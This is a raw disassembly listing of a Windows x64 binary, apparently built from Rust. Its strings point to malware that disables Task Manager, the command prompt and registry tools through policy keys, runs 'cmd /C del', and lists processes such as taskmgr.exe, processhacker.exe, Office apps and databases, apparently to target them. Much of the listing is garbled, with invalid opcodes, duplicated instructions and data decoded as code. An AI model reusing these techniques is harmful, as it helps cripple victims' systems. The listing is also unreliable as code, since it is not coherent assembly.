xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [r15 + 8], r13
mov qword [r15 + 0x10], r12
mov al, 1
xor ecx, ecx
jmp 0x1400379c1
cmp rax, rcx
je 0x14003780d
lea rcx, [rax + 0x10]
mov qword [rsi + 0x50], rcx
movdqu xmm0, xmmword [rax]
lea rax, [rsi + 0x60]
lea rcx, [0x1400bb7e9]
mov qword [rsi + 0x60], rcx
mov qword [rsi + 0x68], 2
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x845ea
or byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x845ea
or byte [rax], al
or byte [rax], al
mov qword [rsi + 0x70], rcx
mov qword [rsi + 0x78], 3
movdqu xmmword [rsi + 0x80], xmm0
lea rcx, str.cmd_Cdel
mov qword [rsi + 0x90], rcx
mov qword [rsi + 0x98], 3
mov qword [rsi + 0xa0], rax
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0xa8], 3
mov byte [rsi + 0xb0], 0
lea rdx, [rsi + 0x90]
lea rcx, [rbp + 0x2f0]
lea ecx, [rbp + 0x2f0]
lea ecx, [rbp + 0x2f0]
call fcn.14002e730
cmp qword [rbp + 0x2f0], 0
add byte [rax], al
add byte [rdi], cl
test edx, esi
add dword [rax], eax
invalid
add byte [rax], al
add byte [rdi], cl
test edx, esi
add dword [rax], eax
add byte [rbx + rcx*4 - 0x53], cl
clc
add al, byte [rax]
add byte [rbp - 0x7b], cl
in eax, dx
mov r13, qword [rbp + 0x2f8]
test r13, r13
jne 0x1400377dd
mov rax, qword [rsi + 0x50]
mov rcx, qword [rsi + 0x58]
jmp 0x14003772a
mov r12, qword [rbp + 0x300]
mov byte [rbx], 1
mov rcx, rbx
call fcn.14000bfc0
cmp byte [rsi + 0x40], 0
je 0x1400376fc
test byte [rbx], al
invalid
invalid
invalid
test byte [rbx], al
invalid
cmp qword [rsi + 0x28], 0
je 0x1400376fc
mov r8, qword [rsi + 0x20]
jmp 0x1400376ed
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgrdelSOFTWAREPoliciesMicrosoftWindowsSystemDisableCMDDisableRegistryToolstaskmgr.exeprocesshacker.exeregedit.execode.exeexcel.exepowerpnt.exewinword.exemsaccess.exemspub.exevirtualboxvm.exevirtualbox.exechrome.execs2.exesteam.exepostgres.exemysqlworkbench.exeoutlook.exewindowsterminal.exesublime_text.exemicrosoft.photos.exephotosapp.exe
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 0x39
lea rax, [0x1400bbd39]
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0xe
add byte [rax], al
add bh, al
xchg al, dh
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add dh, al
xchg al, bh
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add bh, al
xchg al, dh
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add dh, al
xchg al, bh
add eax, dword [rax]
add byte [rax], al
lea rdx, [rsi + 0x50]
lea rcx, [rbp + 0x2f0]
mov r8, r14
call fcn.14002e260
cmp qword [rbp + 0x2f0], 0
je 0x140037868
mov al, 9
jmp 0x1400379b8
mov r13, qword [rbp + 0x2f8]
mov r12, qword [rbp + 0x300]
cmp byte [rsi + 0x3f8], 3
jne 0x1400378b7
lea rcx, [rsi + 0x178]
call fcn.14000bae0
cmp qword [rsi + 0x168], 0
je 0x1400378ab
mov r8, qword [rsi + 0x160]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
pop rbp
mov eax, dword [rdi]
invalid
pop rbp
mov eax, dword [rdi]
add byte [rax - 0x73], cl
mov ss, word [rax - 0x18000000]
jmp 0x18e0375eb
lea rcx, [rsi + 0x90]
call fcn.14000aca0
test r13, r13
jne 0x1400377e4
lea rax, [0x1400bbd4a]
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 0x2a
lea rax, [0x1400bbd74]
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0xa
add byte [rax], al
add bh, al
xchg al, dh
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add dh, al
xchg al, bh
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add bh, al
xchg al, dh
add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add dh, al
xchg al, bh
add eax, dword [rax]
add byte [rax], al
lea rdx, [rsi + 0x50]
lea rcx, [rbp + 0x2f0]
mov r8, r14
call fcn.14002e260
cmp qword [rbp + 0x2f0], 0
je 0x14003791b
mov al, 0xa
jmp 0x1400379b8
mov r13, qword [rbp + 0x2f8]
mov r12, qword [rbp + 0x300]
cmp byte [rsi + 0x3f8], 3
jne 0x14003796a
lea rcx, [rsi + 0x178]
call fcn.14000bae0
cmp qword [rsi + 0x168], 0
je 0x14003795e
mov r8, qword [rsi + 0x160]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x90]
call fcn.14000aca0
test r13, r13
jne 0x1400377e4
mov qword [rbp + 0x450], rbx
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgrdelSOFTWAREPoliciesMicrosoftWindowsSystemDisableCMDDisableRegistryToolstaskmgr.exeprocesshacker.exeregedit.execode.exeexcel.exepowerpnt.exewinword.exemsaccess.exemspub.exevirtualboxvm.exevirtualbox.exechrome.execs2.exesteam.exepostgres.exemysqlworkbench.exeoutlook.exewindowsterminal.exesublime_text.exemicrosoft.photos.exephotosapp.exe
mov qword [rsi + 0x50], rax
mov qword [rsi + 0x58], 0x39
lea rax, [0x1400bbd7e]
mov qword [rsi + 0x60], rax
mov qword [rsi + 0x68], 0x14
mov dword [rsi + 0x3f0], 2
mov byte [rsi + 0x3f8], 0
jmp 0x14003220b
mov al, 8
mov byte [rbx], al
mov al, 3
mov ecx, 1
mov qword [r15], rcx
mov byte [rsi + 0x41], al
movaps xmm6, xmmword [rbp + 0x480]
movaps xmm7, xmmword [rbp + 0x490]
movaps xmm8, xmmword [rbp + 0x4a0]
movaps xmm9, xmmword [rbp + 0x4b0]
movaps xmm10, xmmword [rbp + 0x4c0]
add rsp, 0x558
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
invalid
mov qword [rdx + 0x10], r8
mov qword [rdx + 0x18], 0
mov r9, r10
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
mov r8d, 1
add byte [rcx + rcx*4 + 1], cl
mov qword [rcx], r8
pop rdi
pop rsi
ret
adc byte [r8], al
jmp 0x140040d52
mov r9d, edx
and r9d, 7
lea eax, [r9 + 7]
cmp r9d, 3
cmp ecx, 3
cmp ecx, 3
cmovae eax, r9d
add eax, r8d
invalid
cmp eax, 7
jae 0x140040dee
pop rax
dec ecx
leave
movsxd rdx, ecx
imul rax, rdx, 0x51eb851f
mov r8, rax
shr r8, 0x3f
invalid
sar rax, 0x27
clc
invalid
add eax, r8d
imul eax, eax, 0x190
rcl byte [rax + 0x29000001], 0xc2
call 0x138c555eb
invalid
clc
invalid
mov eax, edx
sar eax, 0x1f
and eax, 0x190
add eax, edx
ror byte [rax - 0x68], 1
ror byte [rax - 0x68], 1
cmp eax, 0x190
nop
add dword [rax], eax
add byte [rdi], cl
cmp dword [rdi + 0x4c000000], 0xffffff8d
add byte [rax], al
jae 0x140040e90
lea r8, [0x1400d7598]
add eax, 0x967c0
movzx r8d, byte [rax + r8]
xor eax, eax
mov r9d, 0x406
add byte [rax], al
add byte [rax], al
add byte [rbp + 0xf], al
bt r9d, r8d
movabs dword [0xc08954eb34d083c1], eax
adc eax, 0x34
jmp 0x140040e42
mov eax, eax
imul r8, rax, 0x24924925
shr r8, 0x20
xchg r10, rax
and al, 0x49
shr eax, 0x20
and edx, 0xf
xor eax, eax
mov r9d, 0x406
add byte [rcx + 0xf], al
movabs dword [0x3941d23134d083d1], eax
invalid
add al, 0
add byte [rcx + 0xf], al
movabs dword [0x3941d23134d083d1], eax
ror byte [rdi], 0x97
seta dl
invalid
invalid
seta dl
mov eax, 1
cmovbe eax, r8d
add ecx, edx
add byte [rax], al
add byte [rcx + 0xf], al
rol byte [rcx], 0xd1
movsxd rdx, ecx
imul r8, rdx, 0x51eb851f
push rcx
imul eax, edx, 0x51eb851f
push rcx
mov r9, r8
shr r9, 0x3f
shr ecx, 0x3f
sar r8, 0x27
add r8d, r9d
clc
invalid
imul r8d, r8d, 0x190
sub edx, r8d
mov r8d, edx
sar r8d, 0x1f
and r8d, 0x190
and eax, 0x190
add byte [rcx + 1], al
ror byte [rbp + 0x63], 1
invalid
enter 0xffffffffffff8141, 0xfffffffffffffff9
add r8d, edx
movsxd r9, r8d
invalid
enter 0xffffffffffff8141, 0xfffffffffffffff9
nop
add dword [rax], eax
add byte [rbx + 0x1b], dh
invalid
nop
add dword [rax], eax
add byte [rbx + 0x1b], dh
lea rdx, [0x1400d7598]
movzx edx, byte [r9 + rdx]
xor ah, byte [rdi + 9]
add byte [rcx + 0xf], al
mov dh, 0x14
adc ecx, eax
shl ecx, 0xa
shl ecx, 0xa
shl eax, 4
or eax, ecx
or eax, edx
add al, 9
enter 0xffffffffffffd009, 0x48
add rsp, 0x28
add rsp, 0x28
sub bl, al
ret
lea r8, [0x1400d7798]
mov edx, 0x190
add dword [rax], eax
add byte [rcx + rcx*4 - 0x37], cl
nop
add dword [rax], eax
add byte [rcx + rcx*4 - 0x37], cl
call fcn.1400a9d70
ud2
lea r8, [0x1400d7798]
lea eax, [0x1400d7798]
mov edx, 0x190
mov rcx, rax
invalid
shr eax, 0xcc
mov es, word [rsi]
call fcn.1400a9d70
add byte [rdi], cl
or ecx, esp
int3
ud2
int3
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
lea rdx, str.SystemTimeError
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
adc eax, 0x95fdb
mov r8d, 0xf
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x28], 0
sldt word [rax]
add bh, bh
push rax
sbb byte [rax - 0x77], cl
je 0x140040efe
xor byte [rax + 0x48382444], cl
cmp byte [rax - 0x39], cl
mov dword [rsp + 0x28], 0
and al, 0x28
add byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
add dh, al
and al, 0x39
add byte [rbp + rcx*4 + 5], cl
mov byte [rsp + 0x39], 0
lea r8, [0x1400d6eb8]
invalid
pop rdi
or dword [rax], eax
invalid
or dword [rax], eax
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.140043e60
pop rbp
invalid
add byte [rax], al
mov rax, qword [rsp + 0x28]
mov eax, dword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
test eax, eax
test eax, eax
je 0x140040f68
push rsi
mov bl, 1
test cl, cl
jne 0x140040f6a
add dword [rcx + rcx*8 - 0x74b7ad8b], eax
je 0x140040f40
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x140040f4c
xor byte [rax - 0x7d], cl
clc
add dword [rbp + 0x29], esi
cmp byte [rsp + 0x39], 0
je 0x140040f4c
and al, 0x39
add byte [rdx + riz - 0xa], dh
test byte [rsi + 0x34], 4
test byte [rsi + 0x34], 4
jne 0x140040f4c
sbb al, 0x48
mov ecx, dword [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e76f5]
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
test al, al
jne 0x140040f6a
invalid
invalid
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8d76]
lea edx, [0x1400e8d76]
lea edx, [0x1400e8d76]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x140040f6a
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
invalid
pop rbx
pop rsi
ret
invalid
int3
or cl, ch
pop rdi
add byte [rax], al
int3
int3
cmp dword [rdx], 0
je 0x14004101a
mov r8, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
test r8, r8
je 0x14004108a
invalid
add byte [rcx + 0xf], al
mov dh, 1
movzx eax, byte [r9]
lea r10, [r8 + r9]
inc r10
xor r9d, r9d
xor r11d, r11d
jmp 0x140040fec
mov esi, r9d
movzx r9d, bl
inc r11
shl esi, 7
and r9d, 0x7f
or r9d, esi
test bl, bl
jns 0x14004112d
cmp al, 0x28
jae 0x14004118d
lea rsi, [r8 + r11]
cmp rsi, rax
jae 0x140041122
sbb byte [rax + 0x39], cl
invalid
movzx ebx, byte [r10 + r11]
cmp r11, 4
jb 0x140040fd0
cmp bl, 0xf
jbe 0x140040fd0
mov byte [rcx + 4], 1
add al, 1
jmp 0x140041136
add byte [rax], al
mov r8, qword [rdx + 0x10]
movzx eax, byte [r8]
cmp rax, 0x28
jae 0x14004118d
test rax, rax
je 0x140041169
invalid
add byte [rcx + 0xf], al
mov dh, 0x40
movzx eax, byte [r8 + 1]
imul r8d, eax, 0xcd
add dword [rcx + rbp*2 - 0x40], eax
int 0
add byte [rax], al
shr r8d, 0xd
cmp ax, 0x78
clc
js 0x140041059
invalid
invalid
add byte [rax], al
invalid
clc
js 0x140041059
cmp dword [rdx + 0x45000000], 0xffffff89
rol dword [rcx - 0x3f], 0xe1
mov r9d, r8d
shl r9d, 3
add eax, dword [rdi - 0x73]
or al, 0x89
add eax, dword [rdi - 0x73]
or al, 0x89
lea ecx, [rcx + rcx*4]
mov dword [rax + rbp - 0x38], eax
sub al, r9b
movzx r8d, r8b
shl r8d, 3
loopne 0x140041068
loopne 0x140041068
lea r8d, [r8 + r8*4]
add r8b, al
add byte [rcx], 0xc0
mov qword [rdx], 1
mov qword [rdx + 8], 0
movzx eax, r8b
imul eax, eax, 0xcd
add cl, al
invalid
invalid
jmp 0x1400410fb
add cl, al
call 0x18175fb98
movzx eax, byte [rcx]
movzx eax, byte [r9]
cmp rax, 0x28
jae 0x14004118d
test rax, rax
je 0x14004117b
movzx eax, byte [r9 + 1]
imul r8d, eax, 0xcd
add dword [rcx + rbp*2 - 0x40], eax
int 0
add byte [rax], al
shr r8d, 0xd
cmp ax, 0x78
clc
js 0x140041129
push rdx
clc
js 0x140041129
push rdx
mov r9d, r8d
shl r9d, 3
lea r9d, [r9 + r9*4]
sub al, r9b
sub al, cl
sub al, cl
movzx r8d, r8b
shl r8d, 3
lea r8d, [r8 + r8*4]
add r8b, al
add al, al
add al, al
mov qword [rdx], 1
mov qword [rdx + 8], 1
movzx eax, r8b
movzx eax, al
movzx eax, al
imul edx, eax, 0xcd
shr edx, 0xa
invalid
invalid
and edx, 0xfffffff8
invalid
lea edx, [rdx + rdx*4]
xchg edx, eax
sub al, dl
movzx eax, al
mov dword [rcx + 4], 1
mov dword [rcx + 8], eax
xor eax, eax
jmp 0x14004113b
movzx eax, r8b
shl rax, 0x10
loopne 0x140041121
loopne 0x140041121
mov word [rcx + 4], 0
mov dword [rcx + 6], eax
mov word [rcx + 0xa], 0
jmp 0x140041136
add al, 0
add byte [rcx - 0x3899f9bf], cl
or al, byte [r8]
add bl, ch
adc al, 0x4d
test ebx, ebx
test r11, r11
je 0x14004115e
mov byte [rcx + 4], 2
add al, 2
jmp 0x140041136
add r8, r11
jae 0x140041144
mov byte [rcx + 4], 5
add eax, 0x1b8
add byte [rcx - 0x3b7cb7ff], cl
add esp, 0x28
pop rbx
pop rsi
mov eax, 1
mov dword [rcx], eax
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rsi
ret
mov qword [rdx], 1
mov qword [rdx + 8], r8
mov dword [rcx + 4], 1
add al, 1
add byte [rax], al
add byte [rcx + rcx*4 + 0x49], al
or byte [rcx], dh
shr bl, 0xdd
add al, 1
add byte [rax], al
add byte [rcx + rcx*4 + 0x49], al
or byte [rcx], dh
shr bl, 0xdd
mov dword [rcx + 4], 0
xor eax, eax
jmp 0x14004113b
add al, 0
add byte [rax], al
add byte [rcx], dh
shr bl, 0xd2
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fconst_oid_0.9.5_src_arcs.rs
xor ecx, ecx
xor edx, edx
call fcn.1400a9d70
ud2
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fconst_oid_0.9.5_src_arcs.rs
imul ecx, dword [rcx], 0x31c93100
shr al, cl
in eax, 0x8b
invalid
or dword [rax], eax
xor ecx, ecx
xor edx, edx
call fcn.1400a9d70
ud2
lea r8, str.8_r_
lea eax, str.8_r_
mov edx, 0x27
mov rcx, rax
call fcn.1400a9df0
mov word [rsi], es
invalid
mov word [rsi], es
add byte [rdi], cl
ud2
int3
int3
ud2
int3
in al, 0xa
add byte [rax + 0x63], cl
add al, 0x82
add rax, rdx
jmp rax
mov dword [rsp + 0x38], ecx
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.ArcInvalidarcArcTooBigBase128DigitExpectedactualLengthNotEnoughArcsTrailingDotassertion_failed:_edelta___0librarycore_src_numdiy_float.rs
push 9
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
push 9
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
sbb byte [rax - 0x77], cl
je 0x140041214
sub byte [rax - 0x39cfdbbc], cl
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0x5767f
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
lea rax, [0x140098880]
mov qword [rsp + 0x20], rax
lea rdx, [0x1400d7bfa]
add byte [rax - 0x73], cl
and al, 0x28
add byte [rax - 0x73], cl
and al, 0x28
lea r9, [rsp + 0x38]
and al, 0x38
mov r8d, 3
call fcn.1400435d0
cmp byte [rsp + 0x31], 0
movzx eax, byte [rsp + 0x30]
jne 0x1400412df
invalid
lodsd eax, dword [rsi]
add byte [rax], al
invalid
test dword [rbp - 0x17000000], ebp
ja 0x140041236
jmp 0x1400413ae
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1400d7bfd]
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
sub byte [rax - 0x75], r9b
sbb byte [rax - 0x73], cl
adc eax, 0x969b3
mov r8d, 9
add rsp, 0x40
pop rsi
jmp rax
lea edx, [0x1400d7c0d]
mov r8d, 0xd
call qword [rax + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
lea rax, [0x140008cf0]
jp 0x1400412a9
invalid
add eax, 0xfffc7a42
jp 0x1400412a9
dec dword [rax - 0x77]
and al, 0x20
mov qword [rsp + 0x20], rax
lea rdx, [0x1400d7c1a]
lea rcx, [rsp + 0x28]
lea r9, [rsp + 0x38]
mov r8d, 6
invalid
add byte [rax], al
add al, ch
add dword [rbx], esp
and eax, dword [rax]
add byte [rax + 0x31247c], al
invalid
and eax, dword [rax]
add byte [rax + 0x31247c], al
movzx eax, byte [rsp + 0x30]
je 0x1400413ae
test al, al
mov al, 1
jne 0x1400413ae
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x28]
test byte [rax + 0x34], 4
sub dh, dh
xor al, 4
jne 0x140041396
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e3757]
mov r8d, 2
mov eax, 2
mov eax, 2
jmp 0x1400413ab
add byte [rax], al
add rsp, 0x40
pop rsi
jmp rax
mov edi, 0x41000968
mov eax, 0xd
add rsp, 0x40
pop rsi
jmp rax
adc eax, 0x968ab
mov r8d, 0xb
add rsp, 0x40
pop rsi
jmp rax
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e9593]
lea edx, [0x1400e9593]
lea edx, [0x1400e9593]
mov r8d, 1
call qword [rax + 0x18]
test al, al
setne al
add rsp, 0x40
pop rsi
ror byte [rdi], 0x95
ror byte [rax - 0x7d], 0xc4
pop rsi
ret
push rsi
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
movaps xmmword [rsp + 0x90], xmm6
mov rsi, r8
mov rdi, rdx
mov edi, edx
mov edi, edx
mov rbx, rcx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x40], 0
and al, 0x40
add byte [rax], al
add byte [rax], al
xor r12d, r12d
xor esp, esp
lea r14, [rsp + 0x70]
lea r15, [rsp + 0x40]
lea edi, [rsp + 0x40]
nop
mov rcx, r14
mov rdx, r15
call fcn.140040fa0
xchg ebp, eax
sti
invalid
inc dword [rbx + 0x70247c]
add byte [rdi], cl
test dword [rsi], edi
add dword [rax], eax
invalid
add byte [rdi], cl
test dword [rsi], edi
add dword [rax], eax
add byte [rbx + 0x74247c], al
jl 0x14004143d
je 0x14004141b
cmp dword [rsp + 0x74], 0
je 0x140041422
inc r12
jmp 0x140041400
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], 0
add byte [rax], al
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rbx, [rsp + 0x40]
add byte [rax], al
add byte [rax], al
lea rbx, [rsp + 0x40]
lea r13, [rsp + 0x30]
xorps xmm6, xmm6
nop dword [rax]
add byte [rax - 0x77], cl
invalid
mov rcx, rbx
lea rdx, [rsp + 0x70]
call fcn.140040fa0
cmp dword [rsp + 0x40], 0
jne 0x14004155b
invalid
mov ebp, dword [rsp + 0x44]
test ebp, ebp
test ebp, r13d
je 0x140041536
mov eax, dword [rsp + 0x48]
mov r14, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
invalid
mov r14, qword [rsp + 0x88]
and al, 0x88
add byte [rax], al
add byte [rcx - 0x73], cl
add qword [rax - 0x77], r9
mov word [rax + rcx*4], fs
and al, 0x88
lea rcx, [r14 + 1]
mov qword [rsp + 0x88], rcx
and al, 0x88
add byte [rax], al
add byte [rcx + 0x482c2444], cl
sub al, 0x48
lea eax, [rsp + 0x2c]
and al, 0x88
add byte [rax], al
add byte [rcx + 0x482c2444], cl
sub al, 0x48
sub al, 0x48
lea eax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, [0x140043b00]
lea eax, [0x140043b00]
lea eax, [0x140043b00]
mov qword [rsp + 0x38], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
or al, byte [rax]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 1
and al, 0x58
add dword [rax], eax
add byte [rax], al
invalid
and al, 0x58
add dword [rax], eax
add byte [rax], al
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140042180
test al, al
jne 0x140041536
inc r14
cmovne r15, r14
je 0x140041450
cmp r15, r12
jae 0x140041450
invalid
invalid
invalid
invalid
lea rax, [0x1400d8f80]
mov qword [rsp + 0x40], rax
and al, 0x40
and al, 0x40
mov qword [rsp + 0x48], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x50], rax
movups xmmword [rsp + 0x58], xmm6
mov rcx, rdi
mov rdx, rsi
mov r8, rbx
call fcn.140042180
test al, al
je 0x140041450
mov eax, ebp
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x74]
jmp 0x140041560
mov rax, qword [rsp + 0x44]
mov qword [rsp + 0x30], rax
lea rax, str.xz_r_
mov qword [rsp + 0x20], rax
lea rcx, str.OID_malformed
lea r9, [0x1400d7a58]
lea r8, [rsp + 0x30]
mov edx, 0xd
call fcn.1400aa200
ud2
sub esp, 0x58
mov r9, rdx
mov rcx, qword [rcx]
mov eax, 0x27
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990
cmp rcx, 0x2710
jb 0x1400416a0
mov r11d, 0x27
movabs r10, 0x346dc5d63886594b
nop word cs:[rax + rax]
mov rax, rcx
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, ecx
sub esi, eax
imul edi, esi, 0x147b
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
lea rax, [r11 - 4]
movzx edi, word [r8 + rdi*2]
mov word [rsp + r11 + 0x2d], di
mov dword [rsp + r11 + 0x2d], edi
mov dword [rsp + r11 + 0x2d], edi
movzx esi, word [r8 + rsi*2]
mov word [rsp + r11 + 0x2f], si
mov r11, rax
cmp rcx, 0x5f5e0ff
mov rcx, rdx
ja 0x140041610
cmp rdx, 0x63
jbe 0x14004168e
movzx ecx, dx
shr ecx, 2
imul ecx, ecx, 0x147b
shr ecx, 0x11
imul r10d, ecx, 0x64
sub edx, r10d
movzx edx, dx
movzx edx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], dx
add rax, 0xfffffffffffffffe
mov rdx, rcx
cmp rdx, 0xa
cmp edx, 0xa
jae case.0x1400279a8.152
add dl, 0x30
mov byte [rsp + rax + 0x30], dl
dec rax
jmp 0x1400416b9
invalid
sbb dword [rax - 0x77], ecx
retf 0x8348
mov rdx, rcx
cmp rdx, 0x63
ja 0x140041664
jmp 0x14004168e
movzx ecx, word [r8 + rdx*2]
mov word [rsp + rax + 0x2f], cx
add rax, 0xfffffffffffffffe
lea rcx, [rsp + rax]
or al, 4
add rcx, 0x31
mov edx, 0x27
sub rdx, rax
sub edx, eax
sub edx, eax
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rcx
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov rcx, r9
mov dl, 1
xor r9d, r9d
call fcn.1400416f0
nop
add rsp, 0x58
pop rdi
pop rsi
ret
mov esp, 0xb824
add byte [rdx + rdx*8 + 0x478b3874], al
xor al, 0x89
rol dword [rbx + 0xba01e1], 0
adc dword [rax], eax
mov ebp, 0x2b
cmove ebp, edx
add rcx, r15
test al, 4
je 0x14004175d
mov r8, r14
test r14, r14
je 0x1400417f6
cmp r14, 1
jne 0x140041776
xor r8d, r8d
xor edx, edx
jmp 0x1400417e0
jne 0x140041731
xor ebx, ebx
mov r13, qword [rsp + 0xb0]
cmp qword [rdi], 0
jne 0x140041807
jmp 0x14004183d
mov rdx, r14
mov edx, esi
and rdx, 0xfffffffffffffffe
pxor xmm0, xmm0
xor r8d, r8d
movdqa xmm1, xmmword [0x1400b06f0]
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
adc eax, 0x6ef6c
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
adc eax, 0x6ef6c
nop word cs:[rax + rax]
movzx r9d, word [rbx + r8]
movd xmm3, r9d
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
pshuflw xmm3, xmm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r8, 2
add cl, byte [rcx + rdi - 0x3e]
add cl, byte [rcx + rdi - 0x3e]
jne 0x1400417a0
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r8, xmm1
cmp rdx, r14
je 0x1400417f6
xor r9d, r9d
cmp byte [rbx + rdx], 0xc0
setge r9b
add r8, r9
inc rdx
cmp r14, rdx
jne 0x1400417e0
add rcx, r8
mov r13, qword [rsp + 0xb0]
cmp qword [rdi], 0
je 0x14004183d
mov rsi, qword [rdi + 8]
sub rsi, rcx
jbe 0x14004183d
test al, 8
mov qword [rsp + 0x40], r13
jne 0x140041894
mov qword [rsp + 0x38], r15
movzx r15d, byte [rdi + 0x38]
lea rax, [0x1400ef654]
mov dh, 0x7f
cmp byte [rax - 0x73], cl
add eax, 0xade2a
movsxd rcx, dword [rax + r15*4]
add rcx, rax
jmp rcx
mov r15, rsi
xor esi, esi
jmp case.0x140041831.0
mov r12, qword [rdi + 0x20]
mov rdi, qword [rdi + 0x28]
mov qword [rsp + 0x20], r14
mov rcx, r12
mov rdx, rdi
mov r8d, ebp
mov r9, rbx
call fcn.140041df0
xchg ebp, eax
add eax, 0x1b30000
xchg ebp, eax
add eax, 0x1b30000
test al, al
je 0x140041874
mov eax, ebx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rdi + 0x18]
mov rcx, r12
mov rdx, r13
mov r8, r15
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
invalid
loopne 0x140041820
mov eax, dword [rdi + 0x30]
mov dword [rsp + 0x38], eax
mov dword [rdi + 0x30], 0x30
add byte [rax], al
add byte [rdi], cl
mov dh, 0x47
cmp byte [rax - 0x39c8dbbc], cl
cmp byte [r9], r8b
xor byte [r9 - 0x38c7dbbc], r9b
xor byte [r8], r14b
add byte [rax], al
add byte [rdi], cl
mov dh, 0x47
cmp byte [rax - 0x39c8dbbc], cl
cmp byte [r9], r8b
mov r13, qword [rdi + 0x20]
mov r12, qword [rdi + 0x28]
mov qword [rsp + 0x20], r14
mov rcx, r13
